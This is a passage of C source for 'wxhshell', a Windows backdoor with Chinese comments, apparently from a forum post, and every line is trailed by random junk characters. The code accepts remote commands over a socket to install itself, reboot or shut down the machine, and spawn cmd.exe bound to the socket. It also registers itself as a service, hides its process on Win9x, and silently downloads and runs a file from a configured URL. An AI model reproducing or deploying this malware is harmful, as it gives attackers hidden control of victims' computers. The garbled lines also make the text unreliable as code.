  } ]{ d[  
  else { E_1="&p  
TS"D]Txs  
    switch(cmd[0]) { EQe5JFR  
  E"|4Y(G  
  // 帮助 $2MAZGJV  
  case '?': { M('d-Q{B7L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `Ci4YDaz;k  
    break; fRvAKz|rL  
  } kL90&nP   
  // 安装 #RMI&[M  
  case 'i': { 2`a q**}  
    if(Install()) SMf+qiM-E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F=)&98^v$_  
    else j+8TlVur  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a{!r`>I\f  
    break; 3S BZ>  
    } o:Zd1"Z  
  // 卸载 d vOJW".  
  case 'r': { i1oKrRv  
    if(Uninstall()) M0c 9pE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o+?r I p  
    else [Qdq}FYr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ir:d'g1k  
    break; }sxn72,  
    } Qpt&3_   
  // 显示 wxhshell 所在路径 zTD@  
  case 'p': { <8 #ObdY!  
    char svExeFile[MAX_PATH]; r,N[)@  
    strcpy(svExeFile,"\n\r"); 4.K'\S  
      strcat(svExeFile,ExeFile); U,lJ"$'  
        send(wsh,svExeFile,strlen(svExeFile),0); >J=<bhR  
    break; nPkZHIxuD  
    } 33~qgK1>  
  // 重启 "Jy~PcJZ1  
  case 'b': { n(lk dw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lM#A3/=K  
    if(Boot(REBOOT)) O}#yijU3e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -@IL"U6  
    else { [ut#:1h^  
    closesocket(wsh); Ra3ukYG[  
    ExitThread(0); !7U\J]  
    } JeY' 8B  
    break; ^*^/]vM  
    } uO >x:*^8  
  // 关机 'FzN[% K"  
  case 'd': { sl/)|~3!8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \m@Y WO?L  
    if(Boot(SHUTDOWN)) 0ZC,BS`D^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  uu%?K@Qq  
    else { #^&jW  
    closesocket(wsh); WjM>kWv  
    ExitThread(0); \h3e-)  
    } z]Acs  
    break; VG*'"y *%w  
    } sFb4`  
  // 获取shell 3]n0 &MZAR  
  case 's': { {*/dD`  
    CmdShell(wsh); )9P&=  
    closesocket(wsh); 2 Y|D'^  
    ExitThread(0); ,vG<*|pn  
    break; :+ ,st&(E  
  } d<@Mdo<;?g  
  // 退出 T+RZ  
  case 'x': { 3SARr>HRyI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T 4|jz<iK]  
    CloseIt(wsh); agd)ag4"[u  
    break; hkW{88  
    } qSQ@p\O~  
  // 离开 PMKb ]y  
  case 'q': { 2[dIOb4b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [BBpQN.^q6  
    closesocket(wsh); `W[+%b  
    WSACleanup(); XLTD;[jO  
    exit(1); rF'R >/H  
    break; daOS8_py  
        } >$ F:*lO  
  } XKq@]=\F  
  } Qa$NBNxKl  
 v_sm  
  // 提示信息 7aQcP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7nz!0I^   
} hXX1<~k  
  } ?En7_X{C?  
jNy?[ )  
  return; d.pp3D 9/  
} *\LyNL(  
Y&,rTa  
// shell模块句柄 .^XH uN&  
int CmdShell(SOCKET sock) _@E "7<\  
{ p(7QAd4  
STARTUPINFO si; VjTe4$ *  
ZeroMemory(&si,sizeof(si)); g8yN% )[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _=6OP8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3C"_$?y"  
PROCESS_INFORMATION ProcessInfo; vF>gU_gz.  
char cmdline[]="cmd"; Yg6I&#f7&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +p?hGoF=  
  return 0; 'XTs -=  
} h#{T}[  
93I'cWN  
// 自身启动模式 55hyV{L%  
int StartFromService(void) GOW"o"S  
{ p`GWhI?  
typedef struct xeB4r/6  
{ ZPF7m{S  
  DWORD ExitStatus; Lht[g9  
  DWORD PebBaseAddress; Tiprdvm<  
  DWORD AffinityMask; ] C,1%(  
  DWORD BasePriority; 6wpU6NU  
  ULONG UniqueProcessId; b}%g}L D  
  ULONG InheritedFromUniqueProcessId; 0 [i+  
}   PROCESS_BASIC_INFORMATION;  5T/J%  
y[:q"BB3  
PROCNTQSIP NtQueryInformationProcess; ny`(f,)u*  
&r:m&?!|VQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /p$=Cg[K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a`38db(z  
sA\L7`2H  
  HANDLE             hProcess; M@O2 WB1ws  
  PROCESS_BASIC_INFORMATION pbi; sPpS~wk*  
nx;$dxx_Ws  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4p x_ZD#J  
  if(NULL == hInst ) return 0; E!@/NE\-  
E|,30Z+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jm> U6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;\s~%~ \  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _:5=|2-E  
6To:T[ z#  
  if (!NtQueryInformationProcess) return 0; -gSj>b7T  
q5?L1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 966<I56+  
  if(!hProcess) return 0; l7Y8b`  
u0 BMyH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -,/3"}<^78  
9>{t}I d  
  CloseHandle(hProcess); <~O}6HQ#  
c `ud;lI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?{j@6,  
if(hProcess==NULL) return 0; M*H< n*  
E&9!1!B  
HMODULE hMod; leIy|K>\m  
char procName[255]; a hwy_\  
unsigned long cbNeeded; XSl!T/d  
bx7\QU+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); od(:Y(4  
`x4E;Wjv  
  CloseHandle(hProcess); hA5,w_G/  
SJOmeN}4)  
if(strstr(procName,"services")) return 1; // 以服务启动 fPrb%  
Ivjw<XP6K  
  return 0; // 注册表启动 IwM8#6;S~  
} _iq2([BpL  
JE9>8+  
// 主模块 wlL8X7+:  
int StartWxhshell(LPSTR lpCmdLine) 0`Gai2\1@  
{ R|H[lbw  
  SOCKET wsl; FbBX}n  
BOOL val=TRUE; |f3U%2@  
  int port=0; [%t3[p<)O  
  struct sockaddr_in door; enPLaiJ'|q  
94+/wzWvi  
  if(wscfg.ws_autoins) Install(); W'V@  
>"bnpYSe  
port=atoi(lpCmdLine); -+' #*V  
} m6\C5  
if(port<=0) port=wscfg.ws_port; 5=m3J !?  
T aEt  
  WSADATA data; k}-]W@UCa?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [5!'ykZ  
}<.7xz|V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lc" qqt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [='p!7 z  
  door.sin_family = AF_INET; aSTFcz"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ny B&uf  
  door.sin_port = htons(port); d>;2,srUf  
.P8-~?&M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mw ?{LT  
closesocket(wsl); p; F2z;#  
return 1; 2 mSD"[%  
} 7:h<`_HT(X  
#TIX_RXh  
  if(listen(wsl,2) == INVALID_SOCKET) { 2k+= kt  
closesocket(wsl);  :4{Qh  
return 1; v8>!Gft  
} o|0 '0P  
  Wxhshell(wsl); Vk WO}  
  WSACleanup(); ]u;GNz}?  
90?,-6  
return 0; V8\$`NEP  
m:b^,2"g  
} 6TY){P w  
-!i;7[N  
// 以NT服务方式启动 ~~ U<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6#fOCr;f7  
{ j=FMYd8$y  
DWORD   status = 0; Mq76]I%  
  DWORD   specificError = 0xfffffff; xkF$D:s P  
jzMhJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7TnM4@*f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ([[)Ub$U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /z..5r^,ZZ  
  serviceStatus.dwWin32ExitCode     = 0; .r7D )xNa@  
  serviceStatus.dwServiceSpecificExitCode = 0; Q6eN+i2 ;  
  serviceStatus.dwCheckPoint       = 0; y{YXf! AS  
  serviceStatus.dwWaitHint       = 0; }Z"28?  
)-)ss"\+Ju  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Fgskb"k/  
  if (hServiceStatusHandle==0) return; g&q]@m  
k?o^5@b/  
status = GetLastError(); &|s+KP|d  
  if (status!=NO_ERROR) &K+  
{ ^@M [t<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O<4Q$|=&?  
    serviceStatus.dwCheckPoint       = 0; i^/ eN  
    serviceStatus.dwWaitHint       = 0; L7s>su|c(  
    serviceStatus.dwWin32ExitCode     = status; r >E\Cco  
    serviceStatus.dwServiceSpecificExitCode = specificError; hx*HY%\P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `i=JjgG@  
    return; h-Tsi:%b  
  } aMBL1d7  
S^|$23}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,Y$F7&  
  serviceStatus.dwCheckPoint       = 0; <"hb#Tn  
  serviceStatus.dwWaitHint       = 0; "3\oQvi.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); | A3U@>6  
} (W7;}gysh  
i5.?g<.H  
// 处理NT服务事件,比如:启动、停止 &fCP2]hj'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S@9w'upd  
{ iJ,M-GHK  
switch(fdwControl) YR?3 61FK  
{ $K+4C0wX`  
case SERVICE_CONTROL_STOP: Sjw2 j#Q  
  serviceStatus.dwWin32ExitCode = 0; 1RCXc>}/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lr-12-D%-  
  serviceStatus.dwCheckPoint   = 0; 2T//%ys=  
  serviceStatus.dwWaitHint     = 0;  AQB1gzE  
  { ?@3#c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :0WkxEY9  
  } i/5y^  
  return; g@<sU0B  
case SERVICE_CONTROL_PAUSE: wEBtre7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zt-'SY  
  break; 9 %D$T'K  
case SERVICE_CONTROL_CONTINUE: f-vZ2+HP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u+I3IdU3  
  break; wy,Jw3  
case SERVICE_CONTROL_INTERROGATE: wCV>F-  
  break; #L_@s d  
}; 7bA4P*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <Gn8B^~$  
} 4kWg>F3  
]|Ow_z8 O  
// 标准应用程序主函数 N8,EI^W8Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X!,#'&p&  
{ x1.3W j  
#=`FM:WH  
// 获取操作系统版本 =$^Wkau  
OsIsNt=GetOsVer(); _7rqXkp%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b^uP^](J  
>r;ABz/  
  // 从命令行安装 R#"U/8b>z  
  if(strpbrk(lpCmdLine,"iI")) Install(); %T`4!:vy  
q :TZ=bs^  
  // 下载执行文件 fn1 ?Qp|  
if(wscfg.ws_downexe) { H;b8I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tn"Y9 k|  
  WinExec(wscfg.ws_filenam,SW_HIDE); H @_eFlT t  
} 4$0jz'  
^t\kLU  
if(!OsIsNt) { \?bwm&6+r  
// 如果时win9x,隐藏进程并且设置为注册表启动 [ED!J~lg8  
HideProc(); WpXODkQL  
StartWxhshell(lpCmdLine); 66I|0_  
} >&$$(Bp  
else mgJShn8]  
  if(StartFromService()) B0-4 ZT  
  // 以服务方式启动 ."~7 \E> t  
  StartServiceCtrlDispatcher(DispatchTable); lAdOC5+JX  
else 80{#bb  
  // 普通方式启动 K)yCrEZ  
  StartWxhshell(lpCmdLine); "WF( 6z#  
>{O[t2&  
return 0; l@,);w=_P  
}
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只看该作者 1 发表于: 2006-10-10
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